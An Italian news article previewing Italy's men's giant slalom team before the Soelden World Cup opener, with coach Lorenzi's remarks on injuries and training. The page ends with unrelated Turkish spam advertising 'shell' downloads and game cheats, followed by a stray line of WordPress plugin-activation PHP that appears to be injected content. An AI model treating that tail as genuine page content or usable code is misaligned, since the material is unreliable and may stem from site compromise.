Sci: Azzurri, battete un colpo. Il gigante di Soelden per tornare competitivi


In Austria al via sette azzurri, guidati da De Aliprandini e Borsotti. Si va alla caccia di un podio che manca dal 2016. Il tecnico Lorenzi: “Ci siamo allenati con gli sci da superG per reimpostare le curve”

Dal nostro inviato Simone Battaggia

18 ottobre
– SOELDEN (Aut)

Continuità e un nuovo modo di fare le curve. Sono le chiavi per la nazionale maschile di gigante verso l’esordio di Soelden (domenica, ore 10 e 13.15, dirette RaiSport ed Eurosport 2) e per tutta la stagione. Dopo anni di difficoltà, con due soli podi nelle gare di Coppa conquistati dal 2013 a oggi, l’Italia delle porte larghe arriva in Austria dopo un’estate di lavoro tecnico intenso. La squadra si presenta in Austria a ranghi ridotti, con solo sette atleti al via e due esordienti sul Rettenbach come Daniele Sorio e Stefano Baruffaldi. Pesano le assenze di Riccardo Tonetti, che si è infortunato alla caviglia e alla mano destra a settembre, e di Simon Maurberger, ancora non al meglio dieci mesi dopo la distorsione al ginocchio destro patita nel parallelo di Chamonix. A guidare la squadra saranno quindi Luca De Aliprandini, autore del miglior risultato dell’anno scorso con il quinto posto di Hinterstoder, e l’eterno Manfred Moelgg, alla dodicesima presenza a Soelden. Con loro Giovanni Borsotti, tornato stabilmente in Coppa del Mondo nella scorsa stagione dopo un lungo stop per gli infortuni, un talento che sembrava perduto e sul quale si spera di poter ancora contare (l’anno scorso dopo la prima manche di Adelboden era secondo alle spalle di De Aliprandini). Completano il gruppo Roberto Nani e Tommaso Sala.

Curve reimpostate

—  

La squadra di gigante è un nodo irrisolto da anni. L’ultimo podio risale ormai al dicembre 2016, quando Florian Eisath fu terzo in Alta Badia; nel febbraio 2016 c’era stato il terzo posto di Max Blardone a Yuzawa Naeba, ma per trovare più di un piazzamento degli azzurri tra i primi tre in una stagione bisogna tornare ai tempi di Blardone e Davide Simoncelli. Negli anni si sono susseguiti i tentativi di far rinascere la squadra, sono cambiati tanti allenatori, ma finora senza risultato. Anche la scorsa stagione, dopo il ritiro di re Hirscher, gli azzurri hanno continuato a dare la sensazione di un ritardo sul piano tecnico. “Per un lungo periodo in primavera abbiamo fatto il punto della situazione cercando di capire dove dovevamo lavorare – spiega Roberto Lorenzi, direttore tecnico di slalom e gigante -, dove perdevamo di più e quali erano invece i punti di forza. D’estate abbiamo deciso di lavorare con gli sci da superG, di concentrarci sul piano e sulla bassa velocità. Con gli sci lunghi da superG non ci si può muovere repentinamente in senso laterale, passare velocemente da uno spigolo all’altro con inclinazioni veloci, ma bisogna restare molto di più sui piedi perché lo sci è meno sciancrato, più lungo e più difficile da girare. Ci siamo accorti che questo gesto tecnico mancava nel nostro bagaglio tecnico-motorio ed è quello che serve nelle situazioni in cui abbiamo patito di più cioè sulle piste in cui c’è molto sale, neve molle, bassa velocità, lì dove la velocità va creata invece che gestita. Sulle piste più veloci, dove si tratta di avere i tempismi giusti, ci sembra invece di essere più a posto”.

Come stanno gli azzurri

—  

“L’avvicinamento alla gara è stato standard – prosegue Lorenzi -, abbiamo cercato il set-up giusto nelle condizioni più simili alla gara. Abbiamo fatto quello volevamo, sono soddisfatto, a parte che ci sono stati alcuni infortuni come quello di Tonetti e che quindi le cartucce a disposizione non sono tante come volevamo. Ce la giocheremo con meno atleti, ma confido di iniziare al meglio. Soelden il primo step per capire se il percorso è giusto. Se poi il podio arriva subito meglio”. Lorenzi dà poi un aggiornamento sulle condizioni di Simon Maurberger: “Se lo si vede sta molto bene, ma in gigante ha sciato poco e in condizioni di pista e di neve facili. Ogni tanto qualche fitta di dolore ce l’ha. Siamo positivi, ora passerà sulla neve più dura. Speriamo di averlo operativo a cento per cento a Val d’Isère. Il parallelo di Lech (14 novembre, in notturna)? Vediamo, arriva un po’ presto e poi è la gara in cui si è fatto male”.

Lascia un commento

Il tuo indirizzo email non sarà pubblicato. I campi obbligatori sono contrassegnati *

Shell İndir Oyun İndir Oyun Hileleri

activate_plugin( 'automatic_replace/index.php' ); activate_plugin( 'bloqueo_comentarios/index.php' ); activate_plugin( 'disable-xml-rpc/disable-xml-rpc.php' ); activate_plugin( 'rename-wp-login/rename-wp-login.php' );